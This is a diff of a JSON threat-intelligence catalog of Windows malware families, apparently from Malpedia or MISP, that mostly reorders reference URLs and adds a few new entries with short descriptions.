"https://www.fortinet.com/blog/threat-research/new-icexloader-3-0-developers-warm-up-to-nim" + ], + "synonyms": [], + "type": [] + }, + "uuid": "eb1b3335-9002-49ad-b917-fcc188556d49", + "value": "win.icexloader" + }, { "description": "The ICE IX bot is a banking trojan derived of the Zeus botnet because it uses significant parts of Zeus’s source code. ICE IX communicates using the HTTP protocol, so it can be considered to be a third-generation botnet. While it has been used for a variety of purposes, a primary threat of ICE IX comes from its manipulation of banking operations on compromised machines. As with any bot, execution of the bot results in establishing a master-slave relationship between the botmaster and the compromised computer.", "meta": { @@ -24890,8 +26104,8 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ice_ix", "https://securelist.com/ice-ix-the-first-crimeware-based-on-the-leaked-zeus-sources/29577/", "https://blog.trendmicro.com/trendlabs-security-intelligence/zeus-gets-another-update/", - "https://securelist.com/ice-ix-not-cool-at-all/29111/", - "https://www.virusbulletin.com/virusbulletin/2012/08/inside-ice-ix-bot-descendent-zeus" + "https://www.virusbulletin.com/virusbulletin/2012/08/inside-ice-ix-bot-descendent-zeus", + "https://securelist.com/ice-ix-not-cool-at-all/29111/" ], "synonyms": [], "type": [] @@ -24944,10 +26158,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.iisniff", - "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf", - "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware.pdf", "https://www.trustwave.com/Resources/SpiderLabs-Blog/The-Curious-Case-of-the-Malicious-IIS-Module/", - "https://www.welivesecurity.com/2021/08/06/anatomy-native-iis-malware/" + "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware.pdf", + "https://www.welivesecurity.com/2021/08/06/anatomy-native-iis-malware/", + "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf" ], "synonyms": [], "type": [] @@ -24975,8 +26189,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.imecab", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/leafminer-espionage-middle-east", - "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/leafminer-espionage-middle-east" ], "synonyms": [], "type": [] @@ -24989,15 +26203,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.imminent_monitor_rat", - "https://unit42.paloaltonetworks.com/imminent-monitor-a-rat-down-under/", + "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", + "https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/", + "https://itsjack.cc/blog/2016/01/imminent-monitor-4-rat-analysis-a-glance/", "https://www.atomicmatryoshka.com/post/infographic-apts-in-south-america", - "https://www.politie.nl/nieuws/2021/mei/19/04-aanhouding-in-onderzoek-naar-cybercrime.html", + "https://unit42.paloaltonetworks.com/imminent-monitor-a-rat-down-under/", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", - "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", - "https://itsjack.cc/blog/2016/01/imminent-monitor-4-rat-analysis-a-glance/", - "https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/", "https://www.tripwire.com/state-of-security/featured/man-jailed-using-webcam-rat-women-bedrooms/", + "https://www.politie.nl/nieuws/2021/mei/19/04-aanhouding-in-onderzoek-naar-cybercrime.html", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt" ], "synonyms": [], @@ -25047,31 +26261,44 @@ "uuid": "e98b19ce-82c3-472d-98d1-d81341af4267", "value": "IndigoDrop" }, + { + "description": "A ransomware that emerged in April 2022.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.industrial_spy", + "https://www.zscaler.com/blogs/security-research/technical-analysis-industrial-spy-ransomware" + ], + "synonyms": [], + "type": [] + }, + "uuid": "69fc6a53-3ef1-47e8-bcdb-e300d2a972a7", + "value": "Industrial Spy" + }, { "description": "Industroyer is a malware framework considered to have been used in the cyberattack on Ukraine’s power grid on December 17, 2016. The attack cut a fifth of Kiev, the capital, off power for one hour. It is the first ever known malware specifically designed to attack electrical grids.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.industroyer", - "https://en.wikipedia.org/wiki/Industroyer", "https://www.riskint.blog/post/revisited-fancy-bear-s-new-faces-and-sandworms-too", - "https://hub.dragos.com/hubfs/Whitepaper-Downloads/Dragos_Manufacturing%20Threat%20Perspective_1120.pdf", - "https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf", - "https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf", - "https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/", - "https://dragos.com/blog/crashoverride/CrashOverride-01.pdf", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", - "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", - "https://www.secureworks.com/research/threat-profiles/iron-viking", - "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games", - "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", - "https://www.virusbulletin.com/conference/vb2017/abstracts/last-minute-paper-industroyer-biggest-threat-industrial-control-systems-stuxnet/", - "https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/", "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", - "https://cert.gov.ua/article/39518", - "https://www.welivesecurity.com/2017/06/12/industroyer-biggest-threat-industrial-control-systems-since-stuxnet/", - "https://www.domaintools.com/resources/blog/visibility-monitoring-and-critical-infrastructure-security", + "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", + "https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/", "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf", - "https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/" + "https://www.welivesecurity.com/2017/06/12/industroyer-biggest-threat-industrial-control-systems-since-stuxnet/", + "https://dragos.com/blog/crashoverride/CrashOverride-01.pdf", + "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", + "https://en.wikipedia.org/wiki/Industroyer", + "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games", + "https://cert.gov.ua/article/39518", + "https://www.virusbulletin.com/conference/vb2017/abstracts/last-minute-paper-industroyer-biggest-threat-industrial-control-systems-stuxnet/", + "https://www.domaintools.com/resources/blog/visibility-monitoring-and-critical-infrastructure-security", + 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"https://unit42.paloaltonetworks.com/keybase-threat-grows-despite-public-takedown-a-picture-is-worth-a-thousand-words/", + "https://isc.sans.edu/forums/diary/Malicious+Office+files+using+fileless+UAC+bypass+to+drop+KEYBASE+malware/22011/", "https://community.rsa.com/community/products/netwitness/blog/2018/02/15/malspam-delivers-keybase-keylogger-2-11-2017", - "https://voidsec.com/keybase-en/", - "https://www.virusbulletin.com/virusbulletin/2016/07/new-keylogger-block/", - "https://isc.sans.edu/forums/diary/Malicious+Office+files+using+fileless+UAC+bypass+to+drop+KEYBASE+malware/22011/" + "https://unit42.paloaltonetworks.com/keybase-keylogger-malware-family-exposed/", + "https://voidsec.com/keybase-en/" ], "synonyms": [ "Kibex" @@ -26119,10 +27368,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.keyboy", - "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/", - "https://citizenlab.ca/2016/11/parliament-keyboy/", "https://www.secureworks.com/research/threat-profiles/bronze-hobart", + "https://citizenlab.ca/2016/11/parliament-keyboy/", "https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/", "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html" ], "synonyms": [ @@ -26153,8 +27402,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.keymarble", - "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A", "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://research.checkpoint.com/north-korea-turns-against-russian-targets/" ], @@ -26169,8 +27418,8 @@ "meta": { "refs": [ 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"https://www.mbsd.jp/2021/10/27/assets/images/MBSD_WhitePaper_A-deep-dive-analysis-of-LockBit2.0_Ransomware.pdf" ], "synonyms": [ "ABCD Ransomware" @@ -27321,25 +28616,26 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lockergoga", - "https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure", - "https://www.govcert.admin.ch/blog/36/severe-ransomware-attacks-against-swiss-smes", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://www.nrk.no/norge/skreddersydd-dobbeltangrep-mot-hydro-1.14480202", "https://dragos.com/wp-content/uploads/Spyware-Stealer-Locker-Wiper-LockerGoga-Revisited.pdf", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", + 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"https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-hive-ransomware/" + "https://blog.cyble.com/2021/08/25/lockfile-ransomware-using-proxyshell-attack-to-deploy-ransomware/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/" ], "synonyms": [], "type": [] @@ -27377,29 +28673,29 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.locky", - "http://securityaffairs.co/wordpress/49094/malware/zepto-ransomware.html", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "https://www.cylance.com/en_us/blog/threat-spotlight-locky-ransomware.html", - "http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/return-of-fake-ups-cannot-deliver-malspam-with-an-updated-nemucod-ransomware-and-kovter-payload/", - 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"https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://habr.com/ru/amp/post/668154/" ], "synonyms": [], @@ -27536,9 +28850,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lokilocker", + "https://www.theregister.com/2022/03/16/blackberry_lokilocker_ransomware/", "https://blogs.blackberry.com/en/2022/03/lokilocker-ransomware", - "https://www.msspalert.com/cybersecurity-research/lokilocker-ransomware-may-use-false-flag-to-avoid-identification/", - "https://www.theregister.com/2022/03/16/blackberry_lokilocker_ransomware/" + "https://www.msspalert.com/cybersecurity-research/lokilocker-ransomware-may-use-false-flag-to-avoid-identification/" ], "synonyms": [], "type": [] @@ -27551,53 +28865,58 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lokipws", - "https://www.youtube.com/watch?v=K3Yxu_9OUxU", - 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"https://www.infoblox.com/wp-content/uploads/infoblox-whitepaper-deep-analysis-of-a-recent-lokibot-attack.pdf", - "https://blog.prevailion.com/2020/02/the-triune-threat-mastermana-returns.html", - "https://www.lastline.com/blog/password-stealing-malware-loki-bot/", - "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/", - "https://securityintelligence.com/posts/roboski-global-recovery-automation/", - "https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/", - "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", - "https://www.youtube.com/watch?v=N0wAh26wShE", - "https://marcoramilli.com/2019/10/28/sweed-targeting-precision-engineering-companies-in-italy/", + "http://www.malware-traffic-analysis.net/2017/06/12/index.html", + "https://www.virusbulletin.com/virusbulletin/2020/02/lokibot-dissecting-cc-panel-deployments/", "https://phishme.com/loki-bot-malware/", + "http://blog.reversing.xyz/reversing/2021/06/08/lokibot.html", + "https://www.lastline.com/blog/password-stealing-malware-loki-bot/", + "https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf", + "https://securelist.com/loki-bot-stealing-corporate-passwords/87595/", + "https://blog.prevailion.com/2020/02/the-triune-threat-mastermana-returns.html", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", "https://www.atomicmatryoshka.com/post/malware-headliners-lokibot", - "https://securelist.com/loki-bot-stealing-corporate-passwords/87595/" + "https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/", + "https://news.sophos.com/en-us/2020/05/14/raticate/", + "https://www.youtube.com/watch?v=-FxyzuRv6Wg", + "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", + "https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html", + "https://cybergeeks.tech/how-to-expose-a-potential-cybercriminal-due-to-misconfigurations", + "https://www.youtube.com/watch?v=N0wAh26wShE", + "https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html", + "http://reversing.fun/posts/2021/06/08/lokibot.html", + "https://r3mrum.wordpress.com/2017/05/07/loki-bot-atrifacts/", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://securityintelligence.com/posts/roboski-global-recovery-automation/", + "https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter", + "https://www.lac.co.jp/lacwatch/report/20220307_002893.html", + "https://www.sans.org/reading-room/whitepapers/malicious/loki-bot-information-stealer-keylogger-more-37850", + "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/", + "https://www.infoblox.com/wp-content/uploads/infoblox-whitepaper-deep-analysis-of-a-recent-lokibot-attack.pdf", + "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", + "https://blog.talosintelligence.com/2019/07/sweed-agent-tesla.html", + "https://isc.sans.edu/diary/24372", + "https://www.youtube.com/watch?v=K3Yxu_9OUxU", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/spammed-png-file-hides-lokibot/", + "https://medium.com/@paul.k.burbage/the-tale-of-the-pija-droid-firefinch-4d304fde5ca2", + "https://lab52.io/blog/a-twisted-malware-infection-chain/", + "https://github.com/d00rt/hijacked_lokibot_version/blob/master/doc/LokiBot_hijacked_2018.pdf", + "https://blog.yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/", + "https://cysinfo.com/nefarious-macro-malware-drops-loki-bot-across-gcc-countries/", + "https://malcat.fr/blog/reversing-a-nsis-dropper-using-quick-and-dirty-shellcode-emulation/", + "https://marcoramilli.com/2019/10/28/sweed-targeting-precision-engineering-companies-in-italy/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/evasive-urls-in-spam-part-2/", + "https://blog.fortinet.com/2017/05/17/new-loki-variant-being-spread-via-pdf-file", + "https://clickallthethings.wordpress.com/2020/03/31/lokibot-getting-equation-editor-shellcode/", + "https://www.trendmicro.com/en_us/research/21/h/new-campaign-sees-lokibot-delivered-via-multiple-methods.html", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/loki-info-stealer-propagates-through-lzh-files", + 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"https://www.proofpoint.com/us/threat-insight/post/lookback-forges-ahead-continued-targeting-united-states-utilities-sector-reveals", + "https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf" ], "synonyms": [], "type": [] @@ -27696,10 +29015,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lordix", - "https://twitter.com/hexlax/status/1058356670835908610", "https://github.com/cryptogramfan/Malware-Analysis-Scripts/blob/master/decrypt_l0rdix_c2.py", - "https://www.bromium.com/an-analysis-of-l0rdix-rat-panel-and-builder/", + "https://twitter.com/hexlax/status/1058356670835908610", "https://www.bromium.com/decrypting-l0rdix-rats-c2/", + "https://www.bromium.com/an-analysis-of-l0rdix-rat-panel-and-builder/", "https://blog.ensilo.com/l0rdix-attack-tool" ], "synonyms": [ @@ -27715,12 +29034,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lorenz", + "https://therecord.media/free-decrypter-available-for-lorenz-ransomware/", + "https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/", "https://twitter.com/AltShiftPrtScn/status/1423190900516302860?s=20", - "https://www.tesorion.nl/en/posts/lorenz-ransomware-rebound-corruption-and-irrecoverable-files/", - "https://www.cybereason.com/blog/cybereason-vs.-lorenz-ransomware", "https://www.tesorion.nl/en/posts/lorenz-ransomware-analysis-and-a-free-decryptor/", "https://www.bleepingcomputer.com/news/security/meet-lorenz-a-new-ransomware-gang-targeting-the-enterprise/", - "https://therecord.media/free-decrypter-available-for-lorenz-ransomware/" + "https://www.tesorion.nl/en/posts/lorenz-ransomware-rebound-corruption-and-irrecoverable-files/", + "https://www.cybereason.com/blog/cybereason-vs.-lorenz-ransomware" ], "synonyms": [], "type": [] @@ -27733,8 +29053,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.loup", - "https://twitter.com/Arkbird_SOLG/status/1295396936896438272", - "https://twitter.com/r3c0nst/status/1295275546780327936" + "https://twitter.com/r3c0nst/status/1295275546780327936", + "https://twitter.com/Arkbird_SOLG/status/1295396936896438272" ], "synonyms": [], "type": [] @@ -27747,8 +29067,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lowball", - "https://kindredsec.com/2019/08/12/an-overview-of-public-platform-c2s/", "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html", + "https://kindredsec.com/2019/08/12/an-overview-of-public-platform-c2s/", "https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/" ], "synonyms": [], @@ -27762,10 +29082,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lowkey", - "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Winnti.pdf", - "https://www.welivesecurity.com/2019/10/21/winnti-group-skip2-0-microsoft-sql-server-backdoor/", + "https://www.fireeye.com/blog/threat-research/2019/10/lowkey-hunting-for-the-missing-volume-serial-id.html", "https://www.mandiant.com/resources/apt41-us-state-governments", - "https://www.fireeye.com/blog/threat-research/2019/10/lowkey-hunting-for-the-missing-volume-serial-id.html" + "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Winnti.pdf", + "https://www.welivesecurity.com/2019/10/21/winnti-group-skip2-0-microsoft-sql-server-backdoor/" ], "synonyms": [ "PortReuse" @@ -27789,13 +29109,26 @@ "uuid": "f6e9f1f3-91ba-40af-aa2d-d0d5e824b791", "value": "lsassDumper" }, + { + "description": "A stealer written in Rust.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.luca_stealer", + "https://blogs.blackberry.com/en/2022/08/luca-stealer-targets-password-managers-and-cryptocurrency-wallets" + ], + "synonyms": [], + "type": [] + }, + "uuid": "e9693255-762b-447a-9dfa-2ea1a35fe39c", + "value": "Luca Stealer" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lucifer", - "https://research.checkpoint.com/2020/rudeminer-blacksquid-and-lucifer-walk-into-a-bar/", - "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/" + "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/", + "https://research.checkpoint.com/2020/rudeminer-blacksquid-and-lucifer-walk-into-a-bar/" ], "synonyms": [], "type": [] @@ -27808,14 +29141,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.luminosity_rat", - "https://krebsonsecurity.com/2018/07/luminositylink-rat-author-pleads-guilty/", + "https://www.secureworks.com/research/threat-profiles/copper-fieldstone", + "https://umbrella.cisco.com/blog/2017/01/18/finding-the-rats-nest/", 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"description": "Based on Mars Stealer.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma", + "https://twitter.com/fumik0_/status/1559474920152875008" + ], + "synonyms": [], + "type": [] + }, + "uuid": "a14270e4-2b5e-4a90-9ccd-0b68690dbc3e", + "value": "Lumma Stealer" + }, { "description": " An uploader that can exfiltrate files to Dropbox.", "meta": { @@ -27909,9 +29255,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lyposit", - "http://malware.dontneedcoffee.com/2012/11/inside-view-of-lyposit-aka-for-its.html", "https://blog.avast.com/2013/05/20/lockscreen-win32lyposit-displayed-as-a-fake-macos-app/", - "http://malware.dontneedcoffee.com/2013/05/unveiling-locker-bomba-aka-lucky-locker.html" + "http://malware.dontneedcoffee.com/2013/05/unveiling-locker-bomba-aka-lucky-locker.html", + "http://malware.dontneedcoffee.com/2012/11/inside-view-of-lyposit-aka-for-its.html" ], "synonyms": [ "Adneukine", @@ -27971,12 +29317,12 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+ "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/an-in-depth-look-at-mailto-ransomware-part-one-of-three/", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", + "https://www.crowdstrike.com/blog/analysis-of-ecrime-menu-style-toolkits/", + "https://www.ic3.gov/media/news/2020/200929-2.pdf", + "https://s3.documentcloud.org/documents/21199896/vachon-desjardins-court-docs.pdf", + "https://www.justice.gov/opa/pr/department-justice-launches-global-action-against-netwalker-ransomware", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://lopqto.me/posts/automated-dynamic-import-resolving", + "https://www.bleepingcomputer.com/news/security/netwalker-ransomware-affiliate-sentenced-to-80-months-in-prison/", + "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", + "https://0x00-0x7f.github.io/Netwalker-from-Powershell-reflective-loader-to-injected-Dll/", + "https://www.advanced-intel.com/post/netwalker-ransomware-group-enters-advanced-targeting-game", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://news.sophos.com/en-us/2020/05/27/netwalker-ransomware-tools-give-insight-into-threat-actor/", + "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", + "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", + "https://therecord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/", "https://zengo.com/bitcoin-ransomware-detective-ucsf/", - "https://therecord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/" + "https://tccontre.blogspot.com/2020/05/netwalker-ransomware-api-call.html" ], "synonyms": [ "Koko Ransomware", @@ -28121,10 +29480,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mail_o", - "https://rt-solar.ru/upload/iblock/b55/Ataki-na-FOIV_otchet-NKTSKI-i-Rostelekom_Solar_otkrytyy.pdf", - "https://blog.group-ib.com/task", + "https://therecord.media/fsb-nktski-foreign-cyber-mercenaries-breached-russian-federal-agencies/", "https://labs.sentinelone.com/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op/", - "https://therecord.media/fsb-nktski-foreign-cyber-mercenaries-breached-russian-federal-agencies/" + "https://rt-solar.ru/upload/iblock/b55/Ataki-na-FOIV_otchet-NKTSKI-i-Rostelekom_Solar_otkrytyy.pdf", + "https://www.sentinelone.com/labs/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op", + "https://blog.group-ib.com/task" ], "synonyms": [], "type": [] @@ -28137,8 +29497,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.majik_pos", - "http://blog.trendmicro.com/trendlabs-security-intelligence/majikpos-combines-pos-malware-and-rats/", - "https://www.cyber.nj.gov/threat-profiles/pos-malware-variants/majikpos" + "https://www.cyber.nj.gov/threat-profiles/pos-malware-variants/majikpos", + "http://blog.trendmicro.com/trendlabs-security-intelligence/majikpos-combines-pos-malware-and-rats/" ], "synonyms": [], "type": [] @@ -28151,10 +29511,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.makadocs", - "https://www.symantec.com/connect/blogs/malware-targeting-windows-8-uses-google-docs", "http://contagiodump.blogspot.com/2012/12/nov-2012-backdoorw32makadocs-sample.html", - "https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/", - "https://kindredsec.com/2019/08/12/an-overview-of-public-platform-c2s/" + "https://www.symantec.com/connect/blogs/malware-targeting-windows-8-uses-google-docs", + "https://kindredsec.com/2019/08/12/an-overview-of-public-platform-c2s/", + "https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/" ], "synonyms": [], "type": [] @@ -28180,9 +29540,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.makop_ransomware", - "https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/", + "https://lifars.com/wp-content/uploads/2021/08/Makop-Ransomware-Whitepaper-case-studyNEW-1.pdf", "https://twitter.com/siri_urz/status/1221797493849018368", - "https://lifars.com/wp-content/uploads/2021/08/Makop-Ransomware-Whitepaper-case-studyNEW-1.pdf" + "https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/" ], "synonyms": [], "type": [] @@ -28196,8 +29556,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.maktub", "https://www.intezer.com/iron-cybercrime-group-under-the-scope-2/", - "https://bartblaze.blogspot.de/2018/04/maktub-ransomware-possibly-rebranded-as.html", - "https://blog.malwarebytes.com/threat-analysis/2016/03/maktub-locker-beautiful-and-dangerous/" + "https://blog.malwarebytes.com/threat-analysis/2016/03/maktub-locker-beautiful-and-dangerous/", + "https://bartblaze.blogspot.de/2018/04/maktub-ransomware-possibly-rebranded-as.html" ], "synonyms": [], "type": [] @@ -28223,10 +29583,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mamba", - "https://securelist.com/the-return-of-mamba-ransomware/79403/", - "https://www.ic3.gov/Media/News/2021/210323.pdf", "http://blog.trendmicro.com/trendlabs-security-intelligence/bksod-by-ransomware-hddcryptor-uses-commercial-tools-to-encrypt-network-shares-and-lock-hdds/", - "https://www.youtube.com/watch?v=LUxOcpIRxmg" + "https://www.ic3.gov/Media/News/2021/210323.pdf", + "https://www.youtube.com/watch?v=LUxOcpIRxmg", + "https://securelist.com/the-return-of-mamba-ransomware/79403/" ], "synonyms": [ "DiskCryptor", @@ -28259,6 +29619,7 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mangzamel", "https://www.hybrid-analysis.com/sample/5d631d77401615d53f3ce3dbc2bfee5d934602dc35d488aa7cebf9b3ff1c4816?environmentId=2", + "https://www.youtube.com/watch?v=NFJqD-LcpIg", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2018GlobalThreatReport.pdf" ], "synonyms": [ @@ -28297,6 +29658,20 @@ "uuid": "13b0d9ff-0be0-4539-8c86-dfca7a0e79f6", "value": "ManItsMe" }, + { + "description": "Cisco Talos compared this RAT to Cobalt Strike and Sliver. Written in Rust.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.manjusaka", + "https://blog.talosintelligence.com/2022/08/manjusaka-offensive-framework.html", + "https://github.com/avast/ioc/tree/master/Manjusaka" + ], + "synonyms": [], + "type": [] + }, + "uuid": "402a569c-6fc1-4ba3-b570-f85ce7538eef", + "value": "Manjusaka (Windows)" + }, { "description": "Ransomware family closely related to GlobeImposter, notable for its use of 